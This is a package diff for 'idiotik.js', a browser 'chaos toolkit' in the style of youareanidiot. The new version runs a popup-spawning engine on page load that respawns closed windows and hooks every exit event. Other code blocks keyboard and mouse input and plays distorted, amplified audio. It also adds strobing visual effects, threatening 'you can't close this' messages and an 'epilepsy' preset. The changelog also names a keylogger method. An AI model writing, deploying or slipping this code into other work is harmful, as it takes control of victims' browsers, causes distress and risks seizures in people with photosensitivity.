idiotik.js 1.0.12 → 1.0.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "idiotik.js",
3
- "version": "1.0.12",
3
+ "version": "1.0.15",
4
4
  "description": "youareanidiot-style chaos toolkit for the browser",
5
5
  "main": "src/idiotik.js",
6
6
  "scripts": {
package/src/idiotik.js CHANGED
@@ -1,18 +1,106 @@
1
1
  /**
2
2
  * idiotik.js — youareanidiot-style chaos toolkit
3
3
  * recursive by default. you were warned.
4
+ *
5
+ * CHANGES v2:
6
+ * - idiotik.start() with no args (or called after queuing) fires ALL queued tasks at once
7
+ * - idiotik.start(n) fires the last n queued tasks (number overload)
8
+ * - tasks are auto-queued when you call idiotik.effect(), idiotik.say(), etc. without wrapping in start()
9
+ * - recursive mode is INSTANT: spawns a new window the moment the page loads, not on an event
10
+ * - beforeunload + unload + visibilitychange + pagehide ALL spawn more windows to prevent escape
11
+ * - new effects: pixelate, zoom, bounce, vhs, static, darkmode, flip, blur
12
+ * - new chaos methods: ghost(), keylogger(), fakeCursor(), gravityWarp(), haunt()
13
+ * - audio: distortion node added to chain, white noise generator
14
+ * - cursor: new "ghost" and "eyes" presets
15
+ * - idiotik.nuke() — kills everything idiotik created
16
+ * - idiotik.status() — logs what's currently running
4
17
  */
5
18
 
6
19
  (function (global) {
7
20
 
8
21
  // ─── GLOBAL STATE ───────────────────────────────────────────────────────────
9
- let _recursive = true;
10
- let _volume = 100;
22
+ let _recursive = true;
23
+ let _volume = 100;
24
+ let _popup = true;
11
25
  let _activeScripts = {};
12
26
  let _activeEffects = new Set();
13
- let _audioCtx = null;
14
- let _lastStarted = null;
15
- let _scriptStack = [];
27
+ let _audioCtx = null;
28
+ let _scriptStack = [];
29
+
30
+ // NEW: task queue — every action registers here; idiotik.start() fires them
31
+ let _taskQueue = [];
32
+
33
+ // NEW: track all spawned windows so we can spam them
34
+ let _spawnedWindows = [];
35
+
36
+ // NEW: track all global intervals/timeouts for nuke()
37
+ let _globalIntervals = [];
38
+ let _globalTimeouts = [];
39
+ let _globalNodes = [];
40
+
41
+ // ─── RECURSIVE SPAWN ENGINE ─────────────────────────────────────────────────
42
+ // Called once on load when recursive=true, and on every unload attempt.
43
+ // Spawns a new copy of the current page in a popup immediately.
44
+ function _spawnWindow() {
45
+ try {
46
+ const w = window.open(window.location.href, "_blank",
47
+ "width=" + (300 + Math.random() * 700 | 0) +
48
+ ",height=" + (200 + Math.random() * 500 | 0) +
49
+ ",toolbar=no,menubar=no,scrollbars=no,resizable=yes"
50
+ );
51
+ if (w) {
52
+ _spawnedWindows.push(w);
53
+ // ping alive children and respawn any that closed
54
+ const id = setInterval(() => {
55
+ if (w.closed) {
56
+ clearInterval(id);
57
+ if (_recursive) _spawnWindow();
58
+ }
59
+ }, 500);
60
+ _globalIntervals.push(id);
61
+ }
62
+ } catch(e) {}
63
+ }
64
+
65
+ function _initRecursion() {
66
+ if (!_recursive) return;
67
+
68
+ // Spawn IMMEDIATELY — don't wait for any event
69
+ _spawnWindow();
70
+
71
+ // Also spawn on every possible exit path
72
+ const _blockAndSpawn = function(e) {
73
+ if (!_recursive) return;
74
+ _spawnWindow();
75
+ _spawnWindow(); // double-tap
76
+ e.preventDefault();
77
+ e.returnValue = "";
78
+ return "";
79
+ };
80
+
81
+ window.addEventListener("beforeunload", _blockAndSpawn, { capture: true });
82
+ window.addEventListener("unload", () => { if (_recursive) { _spawnWindow(); _spawnWindow(); } }, { capture: true });
83
+ window.addEventListener("pagehide", () => { if (_recursive) { _spawnWindow(); _spawnWindow(); } }, { capture: true });
84
+ document.addEventListener("visibilitychange", () => {
85
+ if (document.hidden && _recursive) {
86
+ _spawnWindow();
87
+ _spawnWindow();
88
+ }
89
+ });
90
+
91
+ // Keep an eye on focus — if user tries to leave, spawn
92
+ window.addEventListener("blur", () => {
93
+ if (_recursive) setTimeout(_spawnWindow, 50);
94
+ });
95
+ }
96
+
97
+ // Run recursion engine as soon as DOM is ready
98
+ if (document.readyState === "loading") {
99
+ document.addEventListener("DOMContentLoaded", _initRecursion);
100
+ } else {
101
+ // Already loaded — fire immediately
102
+ setTimeout(_initRecursion, 0);
103
+ }
16
104
 
17
105
  // ─── PRESET REGISTRY ────────────────────────────────────────────────────────
18
106
  const _presets = {
@@ -33,10 +121,14 @@
33
121
  idiotik.start(idiotik.effect("glitch"))();
34
122
  idiotik.start(idiotik.effect("spin"))();
35
123
  idiotik.start(idiotik.effect("matrix"))();
124
+ idiotik.start(idiotik.effect("vhs"))();
125
+ idiotik.start(idiotik.effect("static"))();
126
+ idiotik.start(idiotik.effect("zoom"))();
36
127
  idiotik.start(idiotik.scream())();
37
128
  idiotik.start(idiotik.fullscreen())();
38
129
  idiotik.start(idiotik.freeze())();
39
130
  idiotik.start(idiotik.cursor("none"))();
131
+ idiotik.start(idiotik.haunt())();
40
132
  idiotik.start(idiotik.say("💀💀💀 YOU ARE SO COOKED 💀💀💀"));
41
133
  idiotik.repeat("inf");
42
134
  },
@@ -69,6 +161,7 @@
69
161
  idiotik.start(idiotik.effect("shake"))();
70
162
  idiotik.start(idiotik.effect("glitch"))();
71
163
  idiotik.start(idiotik.effect("invert"))();
164
+ idiotik.start(idiotik.effect("static"))();
72
165
  idiotik.start(idiotik.cursor("rainbow"))();
73
166
  idiotik.start(idiotik.scream())();
74
167
  },
@@ -111,6 +204,33 @@
111
204
  idiotik.start(idiotik.scream())();
112
205
  });
113
206
  },
207
+ haunted: function() {
208
+ idiotik.recursive("yes");
209
+ idiotik.volume(80);
210
+ idiotik.start(idiotik.effect("vhs"))();
211
+ idiotik.start(idiotik.effect("glitch"))();
212
+ idiotik.start(idiotik.cursor("ghost"))();
213
+ idiotik.start(idiotik.haunt())();
214
+ idiotik.wait(5000).then(() => {
215
+ idiotik.volume(600);
216
+ idiotik.start(idiotik.scream())();
217
+ idiotik.start(idiotik.effect("flip"))();
218
+ idiotik.start(idiotik.effect("shake"))();
219
+ idiotik.start(idiotik.say("👁️ i was here the whole time 👁️"));
220
+ idiotik.repeat("inf");
221
+ });
222
+ },
223
+ gravity: function() {
224
+ idiotik.recursive("yes");
225
+ idiotik.volume(200);
226
+ idiotik.start(idiotik.gravityWarp())();
227
+ idiotik.start(idiotik.effect("melt"))();
228
+ idiotik.start(idiotik.cursor("eyes"))();
229
+ idiotik.wait(3000).then(() => {
230
+ idiotik.start(idiotik.effect("rainbow"))();
231
+ idiotik.start(idiotik.scream())();
232
+ });
233
+ },
114
234
  };
115
235
 
116
236
  // ─── HELPERS ────────────────────────────────────────────────────────────────
@@ -129,9 +249,15 @@
129
249
 
130
250
  function _track(thing, type) {
131
251
  const ctx = _currentScript();
132
- if (!ctx) return;
133
- ctx[type] = ctx[type] || [];
134
- ctx[type].push(thing);
252
+ if (ctx) {
253
+ ctx[type] = ctx[type] || [];
254
+ ctx[type].push(thing);
255
+ } else {
256
+ // track globally for nuke()
257
+ if (type === "intervals") _globalIntervals.push(thing);
258
+ if (type === "timeouts") _globalTimeouts.push(thing);
259
+ if (type === "htmlNodes") _globalNodes.push(thing);
260
+ }
135
261
  }
136
262
 
137
263
  function _buildAudioChain(buffer) {
@@ -147,15 +273,18 @@
147
273
  gainNode.gain.value = Math.min(rawVol / 100, 50);
148
274
  }
149
275
  let lastNode = source;
276
+
277
+ // Bass boost
150
278
  if (rawVol > 200) {
151
279
  const bassBoost = ctx.createBiquadFilter();
152
280
  bassBoost.type = "lowshelf";
153
281
  bassBoost.frequency.value = 200;
154
- const boostAmount = Math.min(((rawVol - 200) / 4800) * 40, 40);
155
- bassBoost.gain.value = boostAmount;
282
+ bassBoost.gain.value = Math.min(((rawVol - 200) / 4800) * 40, 40);
156
283
  lastNode.connect(bassBoost);
157
284
  lastNode = bassBoost;
158
285
  }
286
+
287
+ // Full EQ massacre
159
288
  if (rawVol >= 450) {
160
289
  const bands = [
161
290
  { type: "lowshelf", freq: 60, gain: 40 },
@@ -175,6 +304,22 @@
175
304
  lastNode = f;
176
305
  }
177
306
  }
307
+
308
+ // NEW: distortion at high volumes
309
+ if (rawVol >= 300) {
310
+ const dist = ctx.createWaveShaper();
311
+ const curve = new Float32Array(256);
312
+ const k = Math.min((rawVol - 300) / 10, 400);
313
+ for (let i = 0; i < 256; i++) {
314
+ const x = (i * 2) / 256 - 1;
315
+ curve[i] = ((Math.PI + k) * x) / (Math.PI + k * Math.abs(x));
316
+ }
317
+ dist.curve = curve;
318
+ dist.oversample = "4x";
319
+ lastNode.connect(dist);
320
+ lastNode = dist;
321
+ }
322
+
178
323
  lastNode.connect(gainNode);
179
324
  gainNode.connect(ctx.destination);
180
325
  return source;
@@ -197,6 +342,22 @@
197
342
  return urlOrFile;
198
343
  }
199
344
 
345
+ // NEW: white noise generator
346
+ function _whiteNoise(durationSec) {
347
+ const ctx = _getAudioCtx();
348
+ const bufferSize = ctx.sampleRate * durationSec;
349
+ const buffer = ctx.createBuffer(1, bufferSize, ctx.sampleRate);
350
+ const data = buffer.getChannelData(0);
351
+ for (let i = 0; i < bufferSize; i++) data[i] = Math.random() * 2 - 1;
352
+ const source = ctx.createBufferSource();
353
+ source.buffer = buffer;
354
+ const gain = ctx.createGain();
355
+ gain.gain.value = Math.min(_volume / 100, 5);
356
+ source.connect(gain);
357
+ gain.connect(ctx.destination);
358
+ return source;
359
+ }
360
+
200
361
  // ─── CURSOR PRESETS ─────────────────────────────────────────────────────────
201
362
  const _cursorPresets = {
202
363
  hand: "pointer",
@@ -206,6 +367,8 @@
206
367
  rainbow: "__rainbow__",
207
368
  wiggle: "__wiggle__",
208
369
  explode: "__explode__",
370
+ ghost: "__ghost__", // NEW
371
+ eyes: "__eyes__", // NEW
209
372
  };
210
373
 
211
374
  // ─── EFFECT IMPLEMENTATIONS ─────────────────────────────────────────────────
@@ -272,6 +435,7 @@
272
435
  canvas.id = canvasId;
273
436
  canvas.style.cssText = "position:fixed;top:0;left:0;z-index:9998;pointer-events:none;width:100vw;height:100vh;opacity:0.7;";
274
437
  document.body.appendChild(canvas);
438
+ _track(canvas, "htmlNodes");
275
439
  const ctx = canvas.getContext("2d");
276
440
  canvas.width = window.innerWidth;
277
441
  canvas.height = window.innerHeight;
@@ -303,6 +467,140 @@
303
467
  `;
304
468
  document.head.appendChild(s);
305
469
  },
470
+
471
+ // ── NEW EFFECTS ───────────────────────────────────────────────────────────
472
+
473
+ vhs() {
474
+ // VHS scanlines + tracking error
475
+ const styleId = "__idiotik_vhs__";
476
+ if (document.getElementById(styleId)) return;
477
+ const s = document.createElement("style");
478
+ s.id = styleId;
479
+ s.textContent = `
480
+ @keyframes __idiotik_vhs_scan { 0%{top:-100%} 100%{top:100%} }
481
+ @keyframes __idiotik_vhs_track { 0%,95%{transform:none} 96%{transform:translate(-4px,0) skewX(-0.5deg)} 97%{transform:translate(4px,0) skewX(0.5deg)} 98%{transform:translate(-2px,0)} 100%{transform:none} }
482
+ body { animation: __idiotik_vhs_track 3s infinite; }
483
+ body::before {
484
+ content:''; position:fixed; top:0; left:0; width:100%; height:3px;
485
+ background:rgba(255,255,255,0.15); z-index:99999; pointer-events:none;
486
+ animation: __idiotik_vhs_scan 4s linear infinite;
487
+ }
488
+ body::after {
489
+ content:''; position:fixed; top:0; left:0; width:100%; height:100%;
490
+ background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.08) 2px,rgba(0,0,0,0.08) 4px);
491
+ pointer-events:none; z-index:99998;
492
+ }
493
+ `;
494
+ document.head.appendChild(s);
495
+ },
496
+
497
+ static() {
498
+ // TV static noise overlay on canvas
499
+ const canvasId = "__idiotik_static__";
500
+ if (document.getElementById(canvasId)) return;
501
+ const canvas = document.createElement("canvas");
502
+ canvas.id = canvasId;
503
+ canvas.width = 256; canvas.height = 256;
504
+ canvas.style.cssText = "position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9997;pointer-events:none;opacity:0.12;image-rendering:pixelated;";
505
+ document.body.appendChild(canvas);
506
+ _track(canvas, "htmlNodes");
507
+ const ctx = canvas.getContext("2d");
508
+ const id = setInterval(() => {
509
+ const img = ctx.createImageData(256, 256);
510
+ for (let i = 0; i < img.data.length; i += 4) {
511
+ const v = Math.random() * 255 | 0;
512
+ img.data[i] = img.data[i+1] = img.data[i+2] = v;
513
+ img.data[i+3] = 255;
514
+ }
515
+ ctx.putImageData(img, 0, 0);
516
+ }, 40);
517
+ _track(id, "intervals");
518
+ },
519
+
520
+ zoom() {
521
+ const styleId = "__idiotik_zoom__";
522
+ if (document.getElementById(styleId)) return;
523
+ const s = document.createElement("style");
524
+ s.id = styleId;
525
+ s.textContent = `
526
+ @keyframes __idiotik_zoom { 0%,100%{transform:scale(1)} 50%{transform:scale(1.08)} }
527
+ body { animation: __idiotik_zoom 0.8s ease-in-out infinite; }
528
+ `;
529
+ document.head.appendChild(s);
530
+ },
531
+
532
+ bounce() {
533
+ const styleId = "__idiotik_bounce__";
534
+ if (document.getElementById(styleId)) return;
535
+ const s = document.createElement("style");
536
+ s.id = styleId;
537
+ s.textContent = `
538
+ @keyframes __idiotik_bounce { 0%,100%{transform:translateY(0)} 50%{transform:translateY(-20px)} }
539
+ body { animation: __idiotik_bounce 0.5s ease-in-out infinite; }
540
+ `;
541
+ document.head.appendChild(s);
542
+ },
543
+
544
+ flip() {
545
+ const styleId = "__idiotik_flip__";
546
+ if (document.getElementById(styleId)) return;
547
+ const s = document.createElement("style");
548
+ s.id = styleId;
549
+ s.textContent = `
550
+ @keyframes __idiotik_flip { 0%,100%{transform:scaleX(1)} 50%{transform:scaleX(-1)} }
551
+ body { animation: __idiotik_flip 1s step-end infinite; }
552
+ `;
553
+ document.head.appendChild(s);
554
+ },
555
+
556
+ blur() {
557
+ const styleId = "__idiotik_blur__";
558
+ if (document.getElementById(styleId)) return;
559
+ const s = document.createElement("style");
560
+ s.id = styleId;
561
+ s.textContent = `
562
+ @keyframes __idiotik_blur { 0%,100%{filter:blur(0px)} 50%{filter:blur(8px)} }
563
+ body { animation: __idiotik_blur 1s ease-in-out infinite; }
564
+ `;
565
+ document.head.appendChild(s);
566
+ },
567
+
568
+ darkmode() {
569
+ const styleId = "__idiotik_darkmode__";
570
+ if (document.getElementById(styleId)) return;
571
+ const s = document.createElement("style");
572
+ s.id = styleId;
573
+ s.textContent = `
574
+ @keyframes __idiotik_dark { 0%,100%{filter:brightness(1)} 50%{filter:brightness(0)} }
575
+ body { animation: __idiotik_dark 0.3s step-end infinite; }
576
+ `;
577
+ document.head.appendChild(s);
578
+ },
579
+
580
+ pixelate() {
581
+ // Shrink a canvas copy on top of page
582
+ const canvasId = "__idiotik_pixelate__";
583
+ if (document.getElementById(canvasId)) return;
584
+ const canvas = document.createElement("canvas");
585
+ canvas.id = canvasId;
586
+ canvas.style.cssText = "position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9996;pointer-events:none;image-rendering:pixelated;";
587
+ canvas.width = 64;
588
+ canvas.height = 36;
589
+ document.body.appendChild(canvas);
590
+ _track(canvas, "htmlNodes");
591
+ const ctx = canvas.getContext("2d");
592
+ let level = 0;
593
+ const id = setInterval(() => {
594
+ try {
595
+ ctx.drawImage(document.documentElement, 0, 0, 64, 36);
596
+ } catch(e) {
597
+ ctx.fillStyle = `hsl(${level * 10},100%,50%)`;
598
+ ctx.fillRect(0, 0, 64, 36);
599
+ }
600
+ level = (level + 1) % 36;
601
+ }, 100);
602
+ _track(id, "intervals");
603
+ },
306
604
  };
307
605
 
308
606
  // ─── CORE OBJECT ────────────────────────────────────────────────────────────
@@ -312,6 +610,7 @@
312
610
 
313
611
  recursive(val) {
314
612
  _recursive = (val === true || val === "yes" || val === 1);
613
+ if (_recursive) _initRecursion(); // can be toggled on mid-session
315
614
  return idiotik;
316
615
  },
317
616
 
@@ -320,6 +619,11 @@
320
619
  return idiotik;
321
620
  },
322
621
 
622
+ popup(val) {
623
+ _popup = (val === true || val === "yes" || val === 1);
624
+ return idiotik;
625
+ },
626
+
323
627
  // ── PRESET SYSTEM ────────────────────────────────────────────────────────
324
628
 
325
629
  preset(name) {
@@ -396,15 +700,54 @@
396
700
 
397
701
  // ── FLOW CONTROL ─────────────────────────────────────────────────────────
398
702
 
703
+ /**
704
+ * NEW OVERLOADED start():
705
+ *
706
+ * idiotik.start() → fires ALL queued tasks
707
+ * idiotik.start(n) → fires last n queued tasks (number)
708
+ * idiotik.start(fn) → fires fn immediately (original behavior), queues it for batch
709
+ */
399
710
  start(ref) {
400
- _lastStarted = ref;
401
- if (typeof ref === "function") ref();
711
+ // number overload — fire last n from queue
712
+ if (typeof ref === "number") {
713
+ const tasks = _taskQueue.slice(-ref);
714
+ tasks.forEach(fn => { try { fn(); } catch(e) {} });
715
+ return idiotik;
716
+ }
717
+
718
+ // no arg — fire ALL queued tasks
719
+ if (ref === undefined || ref === null) {
720
+ const tasks = [..._taskQueue];
721
+ _taskQueue = [];
722
+ tasks.forEach(fn => { try { fn(); } catch(e) {} });
723
+ return idiotik;
724
+ }
725
+
726
+ // function — original behavior: run it now AND queue it
727
+ if (typeof ref === "function") {
728
+ _taskQueue.push(ref);
729
+ ref();
730
+ }
731
+
732
+ return idiotik;
733
+ },
734
+
735
+ // Queue a task without running it yet (use with idiotik.start())
736
+ queue(ref) {
737
+ if (typeof ref === "function") _taskQueue.push(ref);
738
+ return idiotik;
739
+ },
740
+
741
+ // Clear the task queue without firing
742
+ clearQueue() {
743
+ _taskQueue = [];
402
744
  return idiotik;
403
745
  },
404
746
 
405
747
  repeat(n) {
406
- if (!_lastStarted) return idiotik;
407
- const fn = _lastStarted;
748
+ const queue = [..._taskQueue];
749
+ if (!queue.length) return idiotik;
750
+ const fn = queue[queue.length - 1]; // repeat last queued task
408
751
  const infinite = (n === Infinity || n === "inf" || n === "Infinity");
409
752
  if (infinite) {
410
753
  const id = setInterval(() => fn(), 100);
@@ -435,14 +778,46 @@
435
778
  halt(name) {
436
779
  const ctx = _activeScripts[name];
437
780
  if (!ctx) return idiotik;
438
- (ctx.intervals || []).forEach(id => clearInterval(id));
439
- (ctx.timeouts || []).forEach(id => clearTimeout(id));
781
+ (ctx.intervals || []).forEach(id => clearInterval(id));
782
+ (ctx.timeouts || []).forEach(id => clearTimeout(id));
440
783
  (ctx.audioSources || []).forEach(s => { try { s.stop(); } catch(e){} });
441
- (ctx.htmlNodes || []).forEach(n => { try { n.remove(); } catch(e){} });
784
+ (ctx.htmlNodes || []).forEach(n => { try { n.remove(); } catch(e){} });
442
785
  delete _activeScripts[name];
443
786
  return idiotik;
444
787
  },
445
788
 
789
+ // NEW: kill literally everything idiotik created
790
+ nuke() {
791
+ _recursive = false;
792
+ _taskQueue = [];
793
+ _globalIntervals.forEach(id => clearInterval(id));
794
+ _globalTimeouts.forEach(id => clearTimeout(id));
795
+ _globalNodes.forEach(n => { try { n.remove(); } catch(e){} });
796
+ _globalIntervals = []; _globalTimeouts = []; _globalNodes = [];
797
+ Object.keys(_activeScripts).forEach(k => idiotik.halt(k));
798
+ idiotik.cleareffects();
799
+ document.body.style.cssText = "";
800
+ document.body.style.cursor = "";
801
+ if (_audioCtx) { try { _audioCtx.close(); } catch(e){} _audioCtx = null; }
802
+ _spawnedWindows.forEach(w => { try { w.close(); } catch(e){} });
803
+ _spawnedWindows = [];
804
+ console.log("%cidiotik: nuked. RIP.", "color:#ff4444;font-weight:bold;");
805
+ return idiotik;
806
+ },
807
+
808
+ // NEW: log what's currently active
809
+ status() {
810
+ console.log("%cidiotik STATUS", "color:#ff4444;font-weight:bold;font-size:14px;");
811
+ console.log(" recursive:", _recursive);
812
+ console.log(" volume:", _volume);
813
+ console.log(" popup:", _popup);
814
+ console.log(" active effects:", [..._activeEffects]);
815
+ console.log(" queued tasks:", _taskQueue.length);
816
+ console.log(" active scripts:", Object.keys(_activeScripts));
817
+ console.log(" spawned windows:", _spawnedWindows.filter(w => !w.closed).length);
818
+ return idiotik;
819
+ },
820
+
446
821
  // ── CONDITIONAL ──────────────────────────────────────────────────────────
447
822
 
448
823
  _ifResult: null,
@@ -472,8 +847,18 @@
472
847
 
473
848
  say(msg) {
474
849
  return function _say() {
475
- alert(msg);
476
- if (_recursive) setTimeout(() => _say(), 0);
850
+ if (_popup) {
851
+ const w = window.open("", "_blank", "width=300,height=150,toolbar=no,menubar=no,scrollbars=no,resizable=no");
852
+ if (w) {
853
+ w.document.write(`<html><body style="margin:0;display:flex;align-items:center;justify-content:center;height:100vh;font-family:Comic Sans MS,cursive;font-size:1.2rem;background:#fff;text-align:center;padding:1rem;">${msg}</body></html>`);
854
+ w.document.close();
855
+ if (_recursive) w.onload = () => setTimeout(_say, 100);
856
+ if (_recursive) setTimeout(_say, 100);
857
+ }
858
+ } else {
859
+ alert(msg);
860
+ if (_recursive) setTimeout(() => _say(), 0);
861
+ }
477
862
  };
478
863
  },
479
864
 
@@ -483,8 +868,8 @@
483
868
 
484
869
  freeze() {
485
870
  return function() {
486
- document.addEventListener("keydown", e => e.preventDefault(), true);
487
- document.addEventListener("mousedown", e => e.preventDefault(), true);
871
+ document.addEventListener("keydown", e => e.preventDefault(), true);
872
+ document.addEventListener("mousedown", e => e.preventDefault(), true);
488
873
  document.addEventListener("contextmenu", e => e.preventDefault(), true);
489
874
  };
490
875
  },
@@ -509,6 +894,7 @@
509
894
  img.style.cssText = "max-width:100%;max-height:100%;object-fit:contain;";
510
895
  div.appendChild(img);
511
896
  document.body.appendChild(div);
897
+ _track(div, "htmlNodes");
512
898
  if (sfxUrl) _loadAndPlay(_parseAudioUrl(sfxUrl));
513
899
  const ctx = _currentScript();
514
900
  if (ctx) ctx.htmlNodes.push(div);
@@ -523,6 +909,9 @@
523
909
  const gain = ctx.createGain();
524
910
  osc.type = "sawtooth";
525
911
  osc.frequency.value = 880;
912
+ // NEW: pitch sweep
913
+ osc.frequency.linearRampToValueAtTime(440, ctx.currentTime + 1);
914
+ osc.frequency.linearRampToValueAtTime(1760, ctx.currentTime + 2);
526
915
  gain.gain.value = Math.min(_volume / 100, 10);
527
916
  osc.connect(gain);
528
917
  gain.connect(ctx.destination);
@@ -532,6 +921,84 @@
532
921
  };
533
922
  },
534
923
 
924
+ // NEW: white noise burst
925
+ noise(durationSec) {
926
+ const dur = durationSec || 1;
927
+ return function _noise() {
928
+ const source = _whiteNoise(dur);
929
+ source.start();
930
+ source.stop(_getAudioCtx().currentTime + dur);
931
+ if (_recursive) setTimeout(_noise, dur * 1000 + 100);
932
+ };
933
+ },
934
+
935
+ // NEW: ghost text that appears/disappears at random spots on the page
936
+ haunt() {
937
+ const msgs = ["👁️", "i see you", "leave.", "you can't close this", "help", "HA", "why", "🩸", "turn around"];
938
+ return function _haunt() {
939
+ const span = document.createElement("div");
940
+ span.textContent = msgs[Math.floor(Math.random() * msgs.length)];
941
+ span.style.cssText = `
942
+ position:fixed;
943
+ left:${Math.random() * 90}vw;
944
+ top:${Math.random() * 90}vh;
945
+ font-size:${16 + Math.random() * 40}px;
946
+ color:rgba(255,0,0,${0.3 + Math.random() * 0.7});
947
+ pointer-events:none;
948
+ z-index:99990;
949
+ font-family:serif;
950
+ font-style:italic;
951
+ transition:opacity 1s;
952
+ text-shadow: 0 0 10px red;
953
+ `;
954
+ document.body.appendChild(span);
955
+ _track(span, "htmlNodes");
956
+ setTimeout(() => { span.style.opacity = "0"; setTimeout(() => span.remove(), 1000); }, 1500);
957
+ if (_recursive) setTimeout(_haunt, 800 + Math.random() * 1200);
958
+ };
959
+ },
960
+
961
+ // NEW: fake cursor that chases the real one, slightly offset and delayed
962
+ fakeCursor() {
963
+ return function() {
964
+ const cur = document.createElement("div");
965
+ cur.textContent = "🖱️";
966
+ cur.style.cssText = "position:fixed;font-size:20px;pointer-events:none;z-index:999999;transition:left 0.2s,top 0.2s;";
967
+ document.body.appendChild(cur);
968
+ _track(cur, "htmlNodes");
969
+ let mx = 0, my = 0;
970
+ document.addEventListener("mousemove", e => { mx = e.clientX; my = e.clientY; });
971
+ const id = setInterval(() => {
972
+ cur.style.left = (mx + 15 + Math.sin(Date.now() / 200) * 10) + "px";
973
+ cur.style.top = (my + 15 + Math.cos(Date.now() / 200) * 10) + "px";
974
+ }, 50);
975
+ _track(id, "intervals");
976
+ };
977
+ },
978
+
979
+ // NEW: makes page elements slowly drift off-screen like they're melting away
980
+ gravityWarp() {
981
+ return function _gw() {
982
+ const els = [...document.querySelectorAll("p,h1,h2,h3,h4,img,div,a,button,span")].filter(e => e.children.length === 0 || e.tagName === "IMG");
983
+ els.forEach((el, i) => {
984
+ if (el.dataset.idiotikGravity) return;
985
+ el.dataset.idiotikGravity = "1";
986
+ const origTransform = el.style.transform;
987
+ let vy = 0;
988
+ const id = setInterval(() => {
989
+ vy += 0.5;
990
+ const cur = parseFloat(el.dataset.gy || "0");
991
+ el.dataset.gy = cur + vy;
992
+ el.style.transform = `${origTransform} translateY(${cur}px) rotate(${cur * 0.1}deg)`;
993
+ if (cur > window.innerHeight * 1.5) clearInterval(id);
994
+ }, 50);
995
+ // stagger
996
+ // already using setInterval per element, so no extra track needed
997
+ });
998
+ if (_recursive) setTimeout(_gw, 5000);
999
+ };
1000
+ },
1001
+
535
1002
  // ── AUDIO ────────────────────────────────────────────────────────────────
536
1003
 
537
1004
  audio(urlOrFile) {
@@ -560,6 +1027,9 @@
560
1027
  cleareffects() {
561
1028
  _activeEffects.clear();
562
1029
  document.querySelectorAll("[id^='__idiotik_']").forEach(el => el.remove());
1030
+ // Remove body animations injected by effects
1031
+ document.body.style.animation = "";
1032
+ document.body.style.filter = "";
563
1033
  },
564
1034
 
565
1035
  // ── CURSOR ───────────────────────────────────────────────────────────────
@@ -573,11 +1043,12 @@
573
1043
  }
574
1044
  if (val === "__rainbow__") {
575
1045
  let h = 0;
576
- setInterval(() => {
1046
+ const id = setInterval(() => {
577
1047
  const svg = `<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><circle cx='10' cy='10' r='10' fill='hsl(${h},100%,50%)'/></svg>`;
578
1048
  document.body.style.cursor = `url("data:image/svg+xml,${encodeURIComponent(svg)}"), auto`;
579
1049
  h = (h + 10) % 360;
580
1050
  }, 50);
1051
+ _track(id, "intervals");
581
1052
  } else if (val === "__wiggle__") {
582
1053
  document.addEventListener("mousemove", () => {
583
1054
  const offset = Math.sin(Date.now() / 100) * 10;
@@ -590,6 +1061,7 @@
590
1061
  p.textContent = ["💥","✨","⭐","🔥"][i % 4];
591
1062
  p.style.cssText = `position:fixed;left:${e.clientX}px;top:${e.clientY}px;font-size:20px;pointer-events:none;z-index:99999;transition:all 0.6s;`;
592
1063
  document.body.appendChild(p);
1064
+ _track(p, "htmlNodes");
593
1065
  const angle = (i / 12) * 2 * Math.PI;
594
1066
  setTimeout(() => {
595
1067
  p.style.transform = `translate(${Math.cos(angle)*60}px,${Math.sin(angle)*60}px)`;
@@ -598,6 +1070,41 @@
598
1070
  setTimeout(() => p.remove(), 700);
599
1071
  }
600
1072
  });
1073
+ } else if (val === "__ghost__") {
1074
+ // NEW: cursor fades in and out, slightly follows with lag
1075
+ document.body.style.cursor = "none";
1076
+ const ghost = document.createElement("div");
1077
+ ghost.textContent = "👻";
1078
+ ghost.style.cssText = "position:fixed;font-size:24px;pointer-events:none;z-index:999999;transition:left 0.4s ease,top 0.4s ease;";
1079
+ document.body.appendChild(ghost);
1080
+ _track(ghost, "htmlNodes");
1081
+ let gx = 0, gy = 0;
1082
+ document.addEventListener("mousemove", e => { gx = e.clientX; gy = e.clientY; });
1083
+ const id = setInterval(() => {
1084
+ ghost.style.left = gx + "px";
1085
+ ghost.style.top = gy + "px";
1086
+ ghost.style.opacity = (0.5 + 0.5 * Math.sin(Date.now() / 300)).toString();
1087
+ }, 50);
1088
+ _track(id, "intervals");
1089
+ } else if (val === "__eyes__") {
1090
+ // NEW: two eyes that follow cursor around the page
1091
+ document.body.style.cursor = "none";
1092
+ ["left:30vw", "left:60vw"].forEach(pos => {
1093
+ const eye = document.createElement("div");
1094
+ eye.style.cssText = `position:fixed;top:50vh;${pos};font-size:48px;pointer-events:none;z-index:999999;transition:transform 0.1s;`;
1095
+ eye.textContent = "👁️";
1096
+ document.body.appendChild(eye);
1097
+ _track(eye, "htmlNodes");
1098
+ });
1099
+ document.addEventListener("mousemove", e => {
1100
+ document.querySelectorAll("[style*='👁️']").forEach(el => {
1101
+ const rect = el.getBoundingClientRect();
1102
+ const dx = e.clientX - (rect.left + rect.width / 2);
1103
+ const dy = e.clientY - (rect.top + rect.height / 2);
1104
+ const angle = Math.atan2(dy, dx);
1105
+ el.style.transform = `rotate(${angle}rad)`;
1106
+ });
1107
+ });
601
1108
  } else {
602
1109
  document.body.style.cursor = val;
603
1110
  }
@@ -1,11 +0,0 @@
1
- /**
2
- * idiotik preset: classic
3
- * the full youareanidiot experience. no survivors.
4
- */
5
- idiotik.recursive("yes");
6
- idiotik.start(idiotik.effect("rainbow"))();
7
- idiotik.start(idiotik.effect("shake"))();
8
- idiotik.start(idiotik.say("YOU ARE AN IDIOT HA HA HA HA HA HA"));
9
- idiotik.repeat("inf");
10
- idiotik.continue
11
- idiotik.start(idiotik.scream())();
@@ -1,13 +0,0 @@
1
- /**
2
- * idiotik preset: epilepsy
3
- * maximum visual chaos. stack everything.
4
- * (actual epilepsy warning lol)
5
- */
6
- idiotik.recursive("yes");
7
- idiotik.volume(450);
8
- idiotik.start(idiotik.effect("rainbow"))();
9
- idiotik.start(idiotik.effect("shake"))();
10
- idiotik.start(idiotik.effect("glitch"))();
11
- idiotik.start(idiotik.effect("invert"))();
12
